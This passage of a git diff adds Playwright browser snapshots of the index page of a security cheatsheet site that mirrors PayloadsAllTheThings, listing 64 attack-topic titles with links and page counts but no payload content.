+            - generic [ref=f6e840]: "19"
+            - generic [ref=f6e841]: payload
+            - generic [ref=f6e845]: Encoding Transformations
+            - generic [ref=f6e846]: 1 page
+        - link "20 payload External Variable Modification 1 page" [ref=f6e850] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/external-variable-modification
+          - generic [ref=f6e851]:
+            - generic [ref=f6e852]: "20"
+            - generic [ref=f6e853]: payload
+            - generic [ref=f6e857]: External Variable Modification
+            - generic [ref=f6e858]: 1 page
+        - link "21 payload File Inclusion 3 pages" [ref=f6e862] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/file-inclusion
+          - generic [ref=f6e863]:
+            - generic [ref=f6e864]: "21"
+            - generic [ref=f6e865]: payload
+            - generic [ref=f6e869]: File Inclusion
+            - generic [ref=f6e870]: 3 pages
+        - link "22 payload Google Web Toolkit 1 page" [ref=f6e874] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/google-web-toolkit
+          - generic [ref=f6e875]:
+            - generic [ref=f6e876]: "22"
+            - generic [ref=f6e877]: payload
+            - generic [ref=f6e881]: Google Web Toolkit
+            - generic [ref=f6e882]: 1 page
+        - link "23 payload GraphQL Injection 1 page" [ref=f6e886] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/graphql-injection
+          - generic [ref=f6e887]:
+            - generic [ref=f6e888]: "23"
+            - generic [ref=f6e889]: payload
+            - generic [ref=f6e893]: GraphQL Injection
+            - generic [ref=f6e894]: 1 page
+        - link "24 payload Headless Browser 1 page" [ref=f6e898] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/headless-browser
+          - generic [ref=f6e899]:
+            - generic [ref=f6e900]: "24"
+            - generic [ref=f6e901]: payload
+            - generic [ref=f6e905]: Headless Browser
+            - generic [ref=f6e906]: 1 page
+        - link "25 payload Hidden Parameters 1 page" [ref=f6e910] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/hidden-parameters
+          - generic [ref=f6e911]:
+            - generic [ref=f6e912]: "25"
+            - generic [ref=f6e913]: payload
+            - generic [ref=f6e917]: Hidden Parameters
+            - generic [ref=f6e918]: 1 page
+        - link "26 payload HTTP Parameter Pollution 1 page" [ref=f6e922] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/http-parameter-pollution
+          - generic [ref=f6e923]:
+            - generic [ref=f6e924]: "26"
+            - generic [ref=f6e925]: payload
+            - generic [ref=f6e929]: HTTP Parameter Pollution
+            - generic [ref=f6e930]: 1 page
+        - link "27 payload Insecure Deserialization 7 pages" [ref=f6e934] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-deserialization
+          - generic [ref=f6e935]:
+            - generic [ref=f6e936]: "27"
+            - generic [ref=f6e937]: payload
+            - generic [ref=f6e941]: Insecure Deserialization
+            - generic [ref=f6e942]: 7 pages
+        - link "28 payload Insecure Direct Object References 1 page" [ref=f6e946] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-direct-object-references
+          - generic [ref=f6e947]:
+            - generic [ref=f6e948]: "28"
+            - generic [ref=f6e949]: payload
+            - generic [ref=f6e953]: Insecure Direct Object References
+            - generic [ref=f6e954]: 1 page
+        - link "29 payload Insecure Management Interface 1 page" [ref=f6e958] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-management-interface
+          - generic [ref=f6e959]:
+            - generic [ref=f6e960]: "29"
+            - generic [ref=f6e961]: payload
+            - generic [ref=f6e965]: Insecure Management Interface
+            - generic [ref=f6e966]: 1 page
+        - link "30 payload Insecure Randomness 1 page" [ref=f6e970] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-randomness
+          - generic [ref=f6e971]:
+            - generic [ref=f6e972]: "30"
+            - generic [ref=f6e973]: payload
+            - generic [ref=f6e977]: Insecure Randomness
+            - generic [ref=f6e978]: 1 page
+        - link "31 payload Insecure Source Code Management 5 pages" [ref=f6e982] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-source-code-management
+          - generic [ref=f6e983]:
+            - generic [ref=f6e984]: "31"
+            - generic [ref=f6e985]: payload
+            - generic [ref=f6e989]: Insecure Source Code Management
+            - generic [ref=f6e990]: 5 pages
+        - link "32 payload Java RMI 1 page" [ref=f6e994] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/java-rmi
+          - generic [ref=f6e995]:
+            - generic [ref=f6e996]: "32"
+            - generic [ref=f6e997]: payload
+            - generic [ref=f6e1001]: Java RMI
+            - generic [ref=f6e1002]: 1 page
+        - link "33 payload JSON Web Token 1 page" [ref=f6e1006] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/json-web-token
+          - generic [ref=f6e1007]:
+            - generic [ref=f6e1008]: "33"
+            - generic [ref=f6e1009]: payload
+            - generic [ref=f6e1013]: JSON Web Token
+            - generic [ref=f6e1014]: 1 page
+        - link "34 payload LaTeX Injection 1 page" [ref=f6e1018] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/latex-injection
+          - generic [ref=f6e1019]:
+            - generic [ref=f6e1020]: "34"
+            - generic [ref=f6e1021]: payload
+            - generic [ref=f6e1025]: LaTeX Injection
+            - generic [ref=f6e1026]: 1 page
+        - link "35 payload LDAP Injection 1 page" [ref=f6e1030] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/ldap-injection
+          - generic [ref=f6e1031]:
+            - generic [ref=f6e1032]: "35"
+            - generic [ref=f6e1033]: payload
+            - generic [ref=f6e1037]: LDAP Injection
+            - generic [ref=f6e1038]: 1 page
+        - link "36 payload Mass Assignment 1 page" [ref=f6e1042] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/mass-assignment
+          - generic [ref=f6e1043]:
+            - generic [ref=f6e1044]: "36"
+            - generic [ref=f6e1045]: payload
+            - generic [ref=f6e1049]: Mass Assignment
+            - generic [ref=f6e1050]: 1 page
+        - link "37 payload Methodology and Resources 33 pages" [ref=f6e1054] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/methodology-and-resources
+          - generic [ref=f6e1055]:
+            - generic [ref=f6e1056]: "37"
+            - generic [ref=f6e1057]: payload
+            - generic [ref=f6e1061]: Methodology and Resources
+            - generic [ref=f6e1062]: 33 pages
+        - link "38 payload NoSQL Injection 1 page" [ref=f6e1066] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/nosql-injection
+          - generic [ref=f6e1067]:
+            - generic [ref=f6e1068]: "38"
+            - generic [ref=f6e1069]: payload
+            - generic [ref=f6e1073]: NoSQL Injection
+            - generic [ref=f6e1074]: 1 page
+        - link "39 payload OAuth Misconfiguration 1 page" [ref=f6e1078] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/oauth-misconfiguration
+          - generic [ref=f6e1079]:
+            - generic [ref=f6e1080]: "39"
+            - generic [ref=f6e1081]: payload
+            - generic [ref=f6e1085]: OAuth Misconfiguration
+            - generic [ref=f6e1086]: 1 page
+        - link "40 payload Open Redirect 1 page" [ref=f6e1090] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/open-redirect
+          - generic [ref=f6e1091]:
+            - generic [ref=f6e1092]: "40"
+            - generic [ref=f6e1093]: payload
+            - generic [ref=f6e1097]: Open Redirect
+            - generic [ref=f6e1098]: 1 page
+        - link "41 payload ORM Leak 1 page" [ref=f6e1102] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/orm-leak
+          - generic [ref=f6e1103]:
+            - generic [ref=f6e1104]: "41"
+            - generic [ref=f6e1105]: payload
+            - generic [ref=f6e1109]: ORM Leak
+            - generic [ref=f6e1110]: 1 page
+        - link "42 payload Prompt Injection 1 page" [ref=f6e1114] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/prompt-injection
+          - generic [ref=f6e1115]:
+            - generic [ref=f6e1116]: "42"
+            - generic [ref=f6e1117]: payload
+            - generic [ref=f6e1121]: Prompt Injection
+            - generic [ref=f6e1122]: 1 page
+        - link "43 payload Prototype Pollution 1 page" [ref=f6e1126] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/prototype-pollution
+          - generic [ref=f6e1127]:
+            - generic [ref=f6e1128]: "43"
+            - generic [ref=f6e1129]: payload
+            - generic [ref=f6e1133]: Prototype Pollution
+            - generic [ref=f6e1134]: 1 page
+        - link "44 payload Race Condition 1 page" [ref=f6e1138] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/race-condition
+          - generic [ref=f6e1139]:
+            - generic [ref=f6e1140]: "44"
+            - generic [ref=f6e1141]: payload
+            - generic [ref=f6e1145]: Race Condition
+            - generic [ref=f6e1146]: 1 page
+        - link "45 payload Regular Expression 1 page" [ref=f6e1150] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/regular-expression
+          - generic [ref=f6e1151]:
+            - generic [ref=f6e1152]: "45"
+            - generic [ref=f6e1153]: payload
+            - generic [ref=f6e1157]: Regular Expression
+            - generic [ref=f6e1158]: 1 page
+        - link "46 payload Request Smuggling 1 page" [ref=f6e1162] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/request-smuggling
+          - generic [ref=f6e1163]:
+            - generic [ref=f6e1164]: "46"
+            - generic [ref=f6e1165]: payload
+            - generic [ref=f6e1169]: Request Smuggling
+            - generic [ref=f6e1170]: 1 page
+        - link "47 payload Reverse Proxy Misconfigurations 1 page" [ref=f6e1174] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/reverse-proxy-misconfigurations
+          - generic [ref=f6e1175]:
+            - generic [ref=f6e1176]: "47"
+            - generic [ref=f6e1177]: payload
+            - generic [ref=f6e1181]: Reverse Proxy Misconfigurations
+            - generic [ref=f6e1182]: 1 page
+        - link "48 payload SAML Injection 1 page" [ref=f6e1186] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/saml-injection
+          - generic [ref=f6e1187]:
+            - generic [ref=f6e1188]: "48"
+            - generic [ref=f6e1189]: payload
+            - generic [ref=f6e1193]: SAML Injection
+            - generic [ref=f6e1194]: 1 page
+        - link "49 payload Server Side Include Injection 1 page" [ref=f6e1198] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-include-injection
+          - generic [ref=f6e1199]:
+            - generic [ref=f6e1200]: "49"
+            - generic [ref=f6e1201]: payload
+            - generic [ref=f6e1205]: Server Side Include Injection
+            - generic [ref=f6e1206]: 1 page
+        - link "50 payload Server Side Request Forgery 3 pages" [ref=f6e1210] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-request-forgery
+          - generic [ref=f6e1211]:
+            - generic [ref=f6e1212]: "50"
+            - generic [ref=f6e1213]: payload
+            - generic [ref=f6e1217]: Server Side Request Forgery
+            - generic [ref=f6e1218]: 3 pages
+        - link "51 payload Server Side Template Injection 8 pages" [ref=f6e1222] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-template-injection
+          - generic [ref=f6e1223]:
+            - generic [ref=f6e1224]: "51"
+            - generic [ref=f6e1225]: payload
+            - generic [ref=f6e1229]: Server Side Template Injection
+            - generic [ref=f6e1230]: 8 pages
+        - link "52 payload SQL Injection 10 pages" [ref=f6e1234] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/sql-injection
+          - generic [ref=f6e1235]:
+            - generic [ref=f6e1236]: "52"
+            - generic [ref=f6e1237]: payload
+            - generic [ref=f6e1241]: SQL Injection
+            - generic [ref=f6e1242]: 10 pages
+        - link "53 payload Tabnabbing 1 page" [ref=f6e1246] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/tabnabbing
+          - generic [ref=f6e1247]:
+            - generic [ref=f6e1248]: "53"
+            - generic [ref=f6e1249]: payload
+            - generic [ref=f6e1253]: Tabnabbing
+            - generic [ref=f6e1254]: 1 page
+        - link "54 payload Type Juggling 1 page" [ref=f6e1258] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/type-juggling
+          - generic [ref=f6e1259]:
+            - generic [ref=f6e1260]: "54"
+            - generic [ref=f6e1261]: payload
+            - generic [ref=f6e1265]: Type Juggling
+            - generic [ref=f6e1266]: 1 page
+        - link "55 payload Upload Insecure Files 2 pages" [ref=f6e1270] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/upload-insecure-files
+          - generic [ref=f6e1271]:
+            - generic [ref=f6e1272]: "55"
+            - generic [ref=f6e1273]: payload
+            - generic [ref=f6e1277]: Upload Insecure Files
+            - generic [ref=f6e1278]: 2 pages
+        - link "56 payload Virtual Hosts 1 page" [ref=f6e1282] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/virtual-hosts
+          - generic [ref=f6e1283]:
+            - generic [ref=f6e1284]: "56"
+            - generic [ref=f6e1285]: payload
+            - generic [ref=f6e1289]: Virtual Hosts
+            - generic [ref=f6e1290]: 1 page
+        - link "57 payload Web Cache Deception 1 page" [ref=f6e1294] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/web-cache-deception
+          - generic [ref=f6e1295]:
+            - generic [ref=f6e1296]: "57"
+            - generic [ref=f6e1297]: payload
+            - generic [ref=f6e1301]: Web Cache Deception
+            - generic [ref=f6e1302]: 1 page
+        - link "58 payload Web Sockets 1 page" [ref=f6e1306] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/web-sockets
+          - generic [ref=f6e1307]:
+            - generic [ref=f6e1308]: "58"
+            - generic [ref=f6e1309]: payload
+            - generic [ref=f6e1313]: Web Sockets
+            - generic [ref=f6e1314]: 1 page
+        - link "59 payload XPATH Injection 1 page" [ref=f6e1318] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xpath-injection
+          - generic [ref=f6e1319]:
+            - generic [ref=f6e1320]: "59"
+            - generic [ref=f6e1321]: payload
+            - generic [ref=f6e1325]: XPATH Injection
+            - generic [ref=f6e1326]: 1 page
+        - link "60 payload XS-Leak 1 page" [ref=f6e1330] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xs-leak
+          - generic [ref=f6e1331]:
+            - generic [ref=f6e1332]: "60"
+            - generic [ref=f6e1333]: payload
+            - generic [ref=f6e1337]: XS-Leak
+            - generic [ref=f6e1338]: 1 page
+        - link "61 payload XSLT Injection 1 page" [ref=f6e1342] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xslt-injection
+          - generic [ref=f6e1343]:
+            - generic [ref=f6e1344]: "61"
+            - generic [ref=f6e1345]: payload
+            - generic [ref=f6e1349]: XSLT Injection
+            - generic [ref=f6e1350]: 1 page
+        - link "62 payload XSS Injection 6 pages" [ref=f6e1354] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xss-injection
+          - generic [ref=f6e1355]:
+            - generic [ref=f6e1356]: "62"
+            - generic [ref=f6e1357]: payload
+            - generic [ref=f6e1361]: XSS Injection
+            - generic [ref=f6e1362]: 6 pages
+        - link "63 payload XXE Injection 1 page" [ref=f6e1366] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xxe-injection
+          - generic [ref=f6e1367]:
+            - generic [ref=f6e1368]: "63"
+            - generic [ref=f6e1369]: payload
+            - generic [ref=f6e1373]: XXE Injection
+            - generic [ref=f6e1374]: 1 page
+        - link "64 payload Zip Slip 1 page" [ref=f6e1378] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/zip-slip
+          - generic [ref=f6e1379]:
+            - generic [ref=f6e1380]: "64"
+            - generic [ref=f6e1381]: payload
+            - generic [ref=f6e1385]: Zip Slip
+            - generic [ref=f6e1386]: 1 page
+  - contentinfo [ref=f6e1390]:
+    - generic [ref=f6e1391]:
+      - generic [ref=f6e1392]:
+        - link "DÆMON // SEC" [ref=f6e1393] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f6e1394]: //
+          - text: SEC
+        - paragraph [ref=f6e1395]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f6e1396]:
+        - link "daemon-404.github.io β†—" [ref=f6e1397] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f6e1398] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f6e1399]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f6e1400] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f6e1401] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f6e1402]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f6e1403]: RosΓ© Pine Β· Astro Β· Pagefind
+  - dialog "Search cheatsheets" [ref=f6e1406]:
+    - generic [ref=f6e1407]:
+      - searchbox "Search query" [active] [ref=f6e1411]
+      - button "Close search" [ref=f6e1412] [cursor=pointer]
+    - paragraph [ref=f6e1416]: Type to search the vault. Esc to close.
+  - generic [ref=f6e1404]: Payloads — PayloadsAllTheThings mirror — DÆMON//SEC
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-08-49-732Z.yml b/.playwright-mcp/page-2026-08-10T08-08-49-732Z.yml
@@ -0,0 +1,635 @@
+- generic [ref=f6e549]:
+  - banner [ref=f6e550]:
+    - generic [ref=f6e551]:
+      - link "DÆMON//SEC home" [ref=f6e552] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f6e553]: //
+        - text: SEC
+        - generic [ref=f6e554]: _
+      - navigation "Primary" [ref=f6e555]:
+        - link "01 Vault" [ref=f6e556] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f6e557]: "01"
+          - generic [ref=f6e558]: Vault
+        - link "02 Payloads" [ref=f6e559] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f6e560]: "02"
+          - generic [ref=f6e561]: Payloads
+        - link "03 Tags" [ref=f6e562] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f6e563]: "03"
+          - generic [ref=f6e564]: Tags
+        - link "04 Credits" [ref=f6e565] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f6e566]: "04"
+          - generic [ref=f6e567]: Credits
+      - generic [ref=f6e568]:
+        - button "Search cheatsheets" [ref=f6e569] [cursor=pointer]:
+          - generic [ref=f6e572]: Search
+          - generic [ref=f6e573]: /
+        - button "Toggle theme" [ref=f6e574] [cursor=pointer]
+        - link "DÆMON main site" [ref=f6e579] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f6e582] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f6e585]:
+    - generic [ref=f6e588]:
+      - generic [ref=f6e589]:
+        - paragraph [ref=f6e590]:
+          - generic [ref=f6e591]: "02"
+          - generic [ref=f6e592]: "^:"
+          - generic [ref=f6e593]: Full mirror Β· MIT
+        - heading "PayloadsAllTheThings" [level=1] [ref=f6e595]
+        - paragraph [ref=f6e596]: A complete on-site mirror of swisskyrepo's payload and bypass reference β€” searchable offline, every page linked back to source.
+      - generic [ref=f6e597]:
+        - generic [ref=f6e598]:
+          - term [ref=f6e599]: Topics
+          - definition [ref=f6e600]: "64"
+        - generic [ref=f6e601]:
+          - term [ref=f6e602]: Pages
+          - definition [ref=f6e603]: "135"
+        - generic [ref=f6e604]:
+          - term [ref=f6e605]: License
+          - definition [ref=f6e606]: MIT
+    - generic [ref=f6e607]:
+      - navigation [ref=f6e608]:
+        - link "~" [ref=f6e609] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+        - generic [ref=f6e610]: /
+        - generic [ref=f6e611]: payloads
+      - complementary [ref=f6e612]:
+        - generic [ref=f6e613]: mirror
+        - generic [ref=f6e614]:
+          - text: Mirrored verbatim from the upstream repo. Images and raw payload files load from GitHub; see each page's
+          - emphasis [ref=f6e615]: source
+          - text: link.
+          - generic [ref=f6e616]:
+            - text: MIT Β·
+            - link "full credits & license" [ref=f6e617] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/credits
+            - text: Β·
+            - code [ref=f6e618]: 3bff425
+        - link "upstream" [ref=f6e619] [cursor=pointer]:
+          - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+      - generic [ref=f6e621]:
+        - link "01 payload Account Takeover 2 pages" [ref=f6e622] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/account-takeover
+          - generic [ref=f6e623]:
+            - generic [ref=f6e624]: "01"
+            - generic [ref=f6e625]: payload
+            - generic [ref=f6e629]: Account Takeover
+            - generic [ref=f6e630]: 2 pages
+        - link "02 payload API Key Leaks 2 pages" [ref=f6e634] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/api-key-leaks
+          - generic [ref=f6e635]:
+            - generic [ref=f6e636]: "02"
+            - generic [ref=f6e637]: payload
+            - generic [ref=f6e641]: API Key Leaks
+            - generic [ref=f6e642]: 2 pages
+        - link "03 payload Brute Force Rate Limit 1 page" [ref=f6e646] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/brute-force-rate-limit
+          - generic [ref=f6e647]:
+            - generic [ref=f6e648]: "03"
+            - generic [ref=f6e649]: payload
+            - generic [ref=f6e653]: Brute Force Rate Limit
+            - generic [ref=f6e654]: 1 page
+        - link "04 payload Business Logic Errors 1 page" [ref=f6e658] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/business-logic-errors
+          - generic [ref=f6e659]:
+            - generic [ref=f6e660]: "04"
+            - generic [ref=f6e661]: payload
+            - generic [ref=f6e665]: Business Logic Errors
+            - generic [ref=f6e666]: 1 page
+        - link "05 payload Clickjacking 1 page" [ref=f6e670] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/clickjacking
+          - generic [ref=f6e671]:
+            - generic [ref=f6e672]: "05"
+            - generic [ref=f6e673]: payload
+            - generic [ref=f6e677]: Clickjacking
+            - generic [ref=f6e678]: 1 page
+        - link "06 payload Client Side Path Traversal 1 page" [ref=f6e682] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/client-side-path-traversal
+          - generic [ref=f6e683]:
+            - generic [ref=f6e684]: "06"
+            - generic [ref=f6e685]: payload
+            - generic [ref=f6e689]: Client Side Path Traversal
+            - generic [ref=f6e690]: 1 page
+        - link "07 payload Command Injection 1 page" [ref=f6e694] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/command-injection
+          - generic [ref=f6e695]:
+            - generic [ref=f6e696]: "07"
+            - generic [ref=f6e697]: payload
+            - generic [ref=f6e701]: Command Injection
+            - generic [ref=f6e702]: 1 page
+        - link "08 payload CORS Misconfiguration 1 page" [ref=f6e706] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cors-misconfiguration
+          - generic [ref=f6e707]:
+            - generic [ref=f6e708]: "08"
+            - generic [ref=f6e709]: payload
+            - generic [ref=f6e713]: CORS Misconfiguration
+            - generic [ref=f6e714]: 1 page
+        - link "09 payload CRLF Injection 1 page" [ref=f6e718] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/crlf-injection
+          - generic [ref=f6e719]:
+            - generic [ref=f6e720]: "09"
+            - generic [ref=f6e721]: payload
+            - generic [ref=f6e725]: CRLF Injection
+            - generic [ref=f6e726]: 1 page
+        - link "10 payload Cross-Site Request Forgery 1 page" [ref=f6e730] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cross-site-request-forgery
+          - generic [ref=f6e731]:
+            - generic [ref=f6e732]: "10"
+            - generic [ref=f6e733]: payload
+            - generic [ref=f6e737]: Cross-Site Request Forgery
+            - generic [ref=f6e738]: 1 page
+        - link "11 payload CSS Injection 1 page" [ref=f6e742] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/css-injection
+          - generic [ref=f6e743]:
+            - generic [ref=f6e744]: "11"
+            - generic [ref=f6e745]: payload
+            - generic [ref=f6e749]: CSS Injection
+            - generic [ref=f6e750]: 1 page
+        - link "12 payload CSV Injection 1 page" [ref=f6e754] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/csv-injection
+          - generic [ref=f6e755]:
+            - generic [ref=f6e756]: "12"
+            - generic [ref=f6e757]: payload
+            - generic [ref=f6e761]: CSV Injection
+            - generic [ref=f6e762]: 1 page
+        - link "13 payload CVE Exploits 2 pages" [ref=f6e766] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cve-exploits
+          - generic [ref=f6e767]:
+            - generic [ref=f6e768]: "13"
+            - generic [ref=f6e769]: payload
+            - generic [ref=f6e773]: CVE Exploits
+            - generic [ref=f6e774]: 2 pages
+        - link "14 payload Denial of Service 1 page" [ref=f6e778] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/denial-of-service
+          - generic [ref=f6e779]:
+            - generic [ref=f6e780]: "14"
+            - generic [ref=f6e781]: payload
+            - generic [ref=f6e785]: Denial of Service
+            - generic [ref=f6e786]: 1 page
+        - link "15 payload Dependency Confusion 1 page" [ref=f6e790] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dependency-confusion
+          - generic [ref=f6e791]:
+            - generic [ref=f6e792]: "15"
+            - generic [ref=f6e793]: payload
+            - generic [ref=f6e797]: Dependency Confusion
+            - generic [ref=f6e798]: 1 page
+        - link "16 payload Directory Traversal 1 page" [ref=f6e802] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/directory-traversal
+          - generic [ref=f6e803]:
+            - generic [ref=f6e804]: "16"
+            - generic [ref=f6e805]: payload
+            - generic [ref=f6e809]: Directory Traversal
+            - generic [ref=f6e810]: 1 page
+        - link "17 payload DNS Rebinding 1 page" [ref=f6e814] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dns-rebinding
+          - generic [ref=f6e815]:
+            - generic [ref=f6e816]: "17"
+            - generic [ref=f6e817]: payload
+            - generic [ref=f6e821]: DNS Rebinding
+            - generic [ref=f6e822]: 1 page
+        - link "18 payload DOM Clobbering 1 page" [ref=f6e826] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dom-clobbering
+          - generic [ref=f6e827]:
+            - generic [ref=f6e828]: "18"
+            - generic [ref=f6e829]: payload
+            - generic [ref=f6e833]: DOM Clobbering
+            - generic [ref=f6e834]: 1 page
+        - link "19 payload Encoding Transformations 1 page" [ref=f6e838] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/encoding-transformations
+          - generic [ref=f6e839]:
+            - generic [ref=f6e840]: "19"
+            - generic [ref=f6e841]: payload
+            - generic [ref=f6e845]: Encoding Transformations
+            - generic [ref=f6e846]: 1 page
+        - link "20 payload External Variable Modification 1 page" [ref=f6e850] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/external-variable-modification
+          - generic [ref=f6e851]:
+            - generic [ref=f6e852]: "20"
+            - generic [ref=f6e853]: payload
+            - generic [ref=f6e857]: External Variable Modification
+            - generic [ref=f6e858]: 1 page
+        - link "21 payload File Inclusion 3 pages" [ref=f6e862] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/file-inclusion
+          - generic [ref=f6e863]:
+            - generic [ref=f6e864]: "21"
+            - generic [ref=f6e865]: payload
+            - generic [ref=f6e869]: File Inclusion
+            - generic [ref=f6e870]: 3 pages
+        - link "22 payload Google Web Toolkit 1 page" [ref=f6e874] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/google-web-toolkit
+          - generic [ref=f6e875]:
+            - generic [ref=f6e876]: "22"
+            - generic [ref=f6e877]: payload
+            - generic [ref=f6e881]: Google Web Toolkit
+            - generic [ref=f6e882]: 1 page
+        - link "23 payload GraphQL Injection 1 page" [ref=f6e886] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/graphql-injection
+          - generic [ref=f6e887]:
+            - generic [ref=f6e888]: "23"
+            - generic [ref=f6e889]: payload
+            - generic [ref=f6e893]: GraphQL Injection
+            - generic [ref=f6e894]: 1 page
+        - link "24 payload Headless Browser 1 page" [ref=f6e898] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/headless-browser
+          - generic [ref=f6e899]:
+            - generic [ref=f6e900]: "24"
+            - generic [ref=f6e901]: payload
+            - generic [ref=f6e905]: Headless Browser
+            - generic [ref=f6e906]: 1 page
+        - link "25 payload Hidden Parameters 1 page" [ref=f6e910] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/hidden-parameters
+          - generic [ref=f6e911]:
+            - generic [ref=f6e912]: "25"
+            - generic [ref=f6e913]: payload
+            - generic [ref=f6e917]: Hidden Parameters
+            - generic [ref=f6e918]: 1 page
+        - link "26 payload HTTP Parameter Pollution 1 page" [ref=f6e922] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/http-parameter-pollution
+          - generic [ref=f6e923]:
+            - generic [ref=f6e924]: "26"
+            - generic [ref=f6e925]: payload
+            - generic [ref=f6e929]: HTTP Parameter Pollution
+            - generic [ref=f6e930]: 1 page
+        - link "27 payload Insecure Deserialization 7 pages" [ref=f6e934] [cursor=pointer]:
